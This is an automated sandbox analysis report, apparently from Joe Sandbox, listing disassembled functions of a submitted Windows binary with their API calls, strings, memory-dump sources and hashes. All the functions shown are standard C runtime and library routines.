Function 009E5F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,5278EA6B,?,009E6057,009DC446,?,F8250000,00000000), ref: 009E600B

Strings

ext-ms-, xrefs: 009E5FB5
api-ms-, xrefs: 009E5FA1

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 1a375efc65f20f191e9792abbca0c1eae4ba6a4916041a9e3efcb96fdc602983
Instruction ID: 1fce0c4e40c4c9292bbf093ba8f3823d80e81b09d6400a2865095fe4808c917d
Opcode Fuzzy Hash: 1a375efc65f20f191e9792abbca0c1eae4ba6a4916041a9e3efcb96fdc602983
Instruction Fuzzy Hash: 88213D35A01650A7C733DB66DC44B6E375CAF413A4F264911F915A72D1EB30ED01D7E0

Function 009E0F50 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,5278EA6B,?,?,00000000,009F1FC8,000000FF,?,009E0EE0,009E1010,?,009E0EB4,00000000), ref: 009E0F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009E0F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,009F1FC8,000000FF,?,009E0EE0,009E1010,?,009E0EB4,00000000), ref: 009E0FB9

Strings

kxR, xrefs: 009E0F65
CorExitProcess, xrefs: 009E0F8F
mscoree.dll, xrefs: 009E0F7E

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$kxR$mscoree.dll
API String ID: 4061214504-3746455049
Opcode ID: 32d785743bbce9909adc03d8dea21d8ec95c4d4e44a32244eed04c30c403d68a
Instruction ID: dd07c5ab1d77dfd7074dece6c6069c9b54b0a54d9204fe0226bcd863f97ffc3f
Opcode Fuzzy Hash: 32d785743bbce9909adc03d8dea21d8ec95c4d4e44a32244eed04c30c403d68a
Instruction Fuzzy Hash: 36016731518659FFDB218B55DC05FBEBBB8FB44B14F044525F811A2290DF789904DF90

Function 009EF356 Relevance: 9.3, APIs: 6, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9961a7f73bf11b2e3fbd5868112a2e025d2213be7a8c11f798ac84bb424b60c6
Instruction ID: 9260db978597941537baa7ff1905e534156f1e6c7c6e63d8443ea0dcbbce50d0
Opcode Fuzzy Hash: 9961a7f73bf11b2e3fbd5868112a2e025d2213be7a8c11f798ac84bb424b60c6
Instruction Fuzzy Hash: 3CB1E674A042899FDB16DFAAC860BAD7BB5FF95300F14816AE4009B3E2D7759D42CF60

Function 009E7747 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(5278EA6B,00000000,00000000,00000000), ref: 009E77AA

Part of subcall function 009E952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,009E8FD3,?,00000000,-00000008), ref: 009E95D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009E7A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009E7A4D
GetLastError.KERNEL32 ref: 009E7AF0

Strings

kxR, xrefs: 009E775D

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID: kxR
API String ID: 2112829910-2472672925
Opcode ID: d53d7a02c15c2a7e7cfa9e93aeb611c898e3264f85bc64e88e529e7e3c750bdb
Instruction ID: d39dbac7566a170d4ed7cdde23728d24c0f40d67d718e41f6a26704327b4e5f2
Opcode Fuzzy Hash: d53d7a02c15c2a7e7cfa9e93aeb611c898e3264f85bc64e88e529e7e3c750bdb
Instruction Fuzzy Hash: D7D15675D04289AFCB16CFE9D880AADFBB9FF49300F18452AE865E7351D730A942CB51

Function 009D53B1 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 009D53B8
std::_Lockit::_Lockit.LIBCPMT ref: 009D53C2
int.LIBCPMT ref: 009D53D9

Part of subcall function 009D16B4: std::_Lockit::_Lockit.LIBCPMT ref: 009D16C5
Part of subcall function 009D16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 009D16DF

std::_Facet_Register.LIBCPMT ref: 009D5413
std::_Lockit::~_Lockit.LIBCPMT ref: 009D5433
Concurrency::cancel_current_task.LIBCPMT ref: 009D5440

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 7ae747204f7c172ddd7ee6b47b95896a253dcd07cb0f57693f67d37fc84f6b07
Instruction ID: dd02ecaa0b47a4fbf829d004103dfdf51525215474d6da9a57f844d5f9027d9d
Opcode Fuzzy Hash: 7ae747204f7c172ddd7ee6b47b95896a253dcd07cb0f57693f67d37fc84f6b07
Instruction Fuzzy Hash: CA1121369906149BCB10EBA4C8017AEB7B5AFC4321F51850BF801AB3A0DFB4EE008B91

Function 009DA25A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,009DA251,009D8978,009D7AFF), ref: 009DA268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009DA276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009DA28F
SetLastError.KERNEL32(00000000,009DA251,009D8978,009D7AFF), ref: 009DA2E1

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: b6e970d27a8aa750b9310043b3c54e91dcc2f7b5b1b08cfc8ebf019bd2269e37
Instruction ID: 3d791f443ccd367d9aaa4b886985ab97015a6713870de1b43a6055f07adbb899
Opcode Fuzzy Hash: b6e970d27a8aa750b9310043b3c54e91dcc2f7b5b1b08cfc8ebf019bd2269e37
Instruction Fuzzy Hash: 2F01D8321DE3116E9A142B767C867772749EB42774B24C32BF220912F1EF524D12F14A

Function 009D4436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009D4442
int.LIBCPMT ref: 009D4455

Part of subcall function 009D16B4: std::_Lockit::_Lockit.LIBCPMT ref: 009D16C5
Part of subcall function 009D16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 009D16DF

std::_Facet_Register.LIBCPMT ref: 009D4488
std::_Lockit::~_Lockit.LIBCPMT ref: 009D449E
Concurrency::cancel_current_task.LIBCPMT ref: 009D44A9

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 199b2059e21988496552cb7bcb947db08930594eca14ba9238d3914948741329
Instruction ID: 8f6c501b6e82bd7ccdf66611214b0acc01f221802f77465279b9e2f671856eb5
Opcode Fuzzy Hash: 199b2059e21988496552cb7bcb947db08930594eca14ba9238d3914948741329
Instruction Fuzzy Hash: 2301A27A580518BBCB15EBA4D805AAD77A8EFD0360B20855BF809A73A1DF30EE41C7D0

Function 009D3DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009D3DBD
int.LIBCPMT ref: 009D3DD0

Part of subcall function 009D16B4: std::_Lockit::_Lockit.LIBCPMT ref: 009D16C5
Part of subcall function 009D16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 009D16DF

std::_Facet_Register.LIBCPMT ref: 009D3E03
std::_Lockit::~_Lockit.LIBCPMT ref: 009D3E19
Concurrency::cancel_current_task.LIBCPMT ref: 009D3E24

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 361463cba795ce534300f018d9ee6529f788a288b6f3366de0a00235419b9ab0
Instruction ID: abe344cf14017f99dbeda0d1e67f2e44a3d358fb08f849b9504276241f6a172b
Opcode Fuzzy Hash: 361463cba795ce534300f018d9ee6529f788a288b6f3366de0a00235419b9ab0
Instruction Fuzzy Hash: 8801F23A980014ABCB24EB54DC059AD7768DFC1360B20C14AF809A73D1DF31EE01CBA0

Function 009D4308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009D4315
int.LIBCPMT ref: 009D4328

Part of subcall function 009D16B4: std::_Lockit::_Lockit.LIBCPMT ref: 009D16C5
Part of subcall function 009D16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 009D16DF

std::_Facet_Register.LIBCPMT ref: 009D435B
std::_Lockit::~_Lockit.LIBCPMT ref: 009D4371
Concurrency::cancel_current_task.LIBCPMT ref: 009D437C

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: aaa9dbbdd303064d9daadd1292ede9ceaee98172e339669640329c5697d9f804
Instruction ID: abd344bbfbfe317e2de8ccb374bcc4abb1224f9bba5eb00acd2173976c24f56d
Opcode Fuzzy Hash: aaa9dbbdd303064d9daadd1292ede9ceaee98172e339669640329c5697d9f804
Instruction Fuzzy Hash: 1F01DB3A540514A7CB15FB68D9059DDB7699FD1750B108157F8056B3D1EF30DE05CBD0

Function 009D507A Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 009D5081
std::_Lockit::_Lockit.LIBCPMT ref: 009D508C
std::locale::_Setgloballocale.LIBCPMT ref: 009D50A7
_Yarn.LIBCPMT ref: 009D50BD
std::_Lockit::~_Lockit.LIBCPMT ref: 009D50FA

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: cf94025e31bc852de8c1fe5612bbc252d293a8b8840276fcc97213fc805b5941
Instruction ID: 546f351bca387fb22b48bc28b1fa8cecdcd62395266bc762317bcbdda8533fc8
Opcode Fuzzy Hash: cf94025e31bc852de8c1fe5612bbc252d293a8b8840276fcc97213fc805b5941
Instruction Fuzzy Hash: C101DF39A485548BC705EB64D851A7C77A1BFC5340B25C10AE91117391CF34EE02CBD1

Function 00A1961A Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00A19626

Part of subcall function 00A18E77: __getptd_noexit.LIBCMT ref: 00A18E7A
Part of subcall function 00A18E77: __amsg_exit.LIBCMT ref: 00A18E87

__getptd.LIBCMT ref: 00A1963D
__amsg_exit.LIBCMT ref: 00A1964B
__lock.LIBCMT ref: 00A1965B
__updatetlocinfoEx_nolock.LIBCMT ref: 00A1966F

Memory Dump Source

Source File: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction ID: 1cd1d2c489158a44af618754f7bcc020a1a1f327f3979ab6c729ce14ddb2435e
Opcode Fuzzy Hash: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction Fuzzy Hash: C4F0BB32944710DBE7217B685903BDF33A0AF00764F550149F424A71D2CF385DC1DBA6

Function 009DA060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 009DA09F
__IsNonwritableInCurrentImage.LIBCMT ref: 009DA153

Strings

kxR, xrefs: 009DA112, 009DA18F
csm, xrefs: 009DA13D

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$kxR
API String ID: 3480331319-1901043806
Opcode ID: 7713d8f2c5031dd1794a8d223db5ae659cd62dd9f9e576b235c99032a78670d4
Instruction ID: a2e8299067f0e8453dc1029d82aaa8bb5caf9cf2a6ff48343ee54d1367a792f7
Opcode Fuzzy Hash: 7713d8f2c5031dd1794a8d223db5ae659cd62dd9f9e576b235c99032a78670d4
Instruction Fuzzy Hash: 4A41D634A44218DBCF10DF68C881BAEBBB9AF85314F14C056E9146B392C735DE65CB92

Function 009DB3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,009DB353,00000000,?,00A4B6D4,?,?,?,009DB4F6,00000004,InitializeCriticalSectionEx,009F4BD8,InitializeCriticalSectionEx), ref: 009DB3AF
GetLastError.KERNEL32(?,009DB353,00000000,?,00A4B6D4,?,?,?,009DB4F6,00000004,InitializeCriticalSectionEx,009F4BD8,InitializeCriticalSectionEx,00000000,?,009DB2AD), ref: 009DB3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 009DB3E1

Strings

api-ms-, xrefs: 009DB3C6

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: d7011280acfefc422a546089af0e573fb5cd32541302945d3ee54c8b6e8650e0
Instruction ID: c9f2925a6a3e4de399e5eb3f8c545b011338227f8e20e0385fae4f662735ee40
Opcode Fuzzy Hash: d7011280acfefc422a546089af0e573fb5cd32541302945d3ee54c8b6e8650e0
Instruction Fuzzy Hash: E8E04F30285208F7EF211BB1EC4AB397E58AB00B41F148123FA0CE81E1EB75DA60E784

Function 009DA371 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 009DA438
___AdjustPointer.LIBCMT ref: 009DA45B
___AdjustPointer.LIBCMT ref: 009DA4F7

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: b3baa02e0d403b321710a353ec59d63a500d5626a145da11328969c1d23ecfe1
Instruction ID: 600c9ba0444e1a93afe4cb03eeffd1b3605ac953013fcd11eda0bbb3bfb2d68e
Opcode Fuzzy Hash: b3baa02e0d403b321710a353ec59d63a500d5626a145da11328969c1d23ecfe1
Instruction Fuzzy Hash: 76513472680206DFDB298F55D844B7AB3A8EF80310F24C42FE811573A1E7B5EC60D792

Function 009F06EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,009EF713,00000000,00000001,00000000,00000000,?,009E7B44,00000000,00000000,00000000), ref: 009F0706
GetLastError.KERNEL32(?,009EF713,00000000,00000001,00000000,00000000,?,009E7B44,00000000,00000000,00000000,00000000,00000000,?,009E80CB,00000000), ref: 009F0712

Part of subcall function 009F06D8: CloseHandle.KERNEL32(FFFFFFFE,009F0722,?,009EF713,00000000,00000001,00000000,00000000,?,009E7B44,00000000,00000000,00000000,00000000,00000000), ref: 009F06E8

___initconout.LIBCMT ref: 009F0722

Part of subcall function 009F069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009F06C9,009EF700,00000000,?,009E7B44,00000000,00000000,00000000,00000000), ref: 009F06AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,009EF713,00000000,00000001,00000000,00000000,?,009E7B44,00000000,00000000,00000000,00000000), ref: 009F0737

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 16e651704d81932c00b7f020c2d6c2a8140f4ce6688eeb52622443aa059cf48a
Instruction ID: 57ea53b5fbc4e8aa722bfee4b6812be4f0baf8fcd1ea1184eed25ad71781ab5d
Opcode Fuzzy Hash: 16e651704d81932c00b7f020c2d6c2a8140f4ce6688eeb52622443aa059cf48a
Instruction Fuzzy Hash: 38F03036119158BBCF222F95DC08AA97FAAFB893A1B044150FA1996131CA32C930FF94

Function 009D3FAF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 294COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 009D4034
_strcspn.LIBCMT ref: 009D4058

Strings

kxR, xrefs: 009D3FB8

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

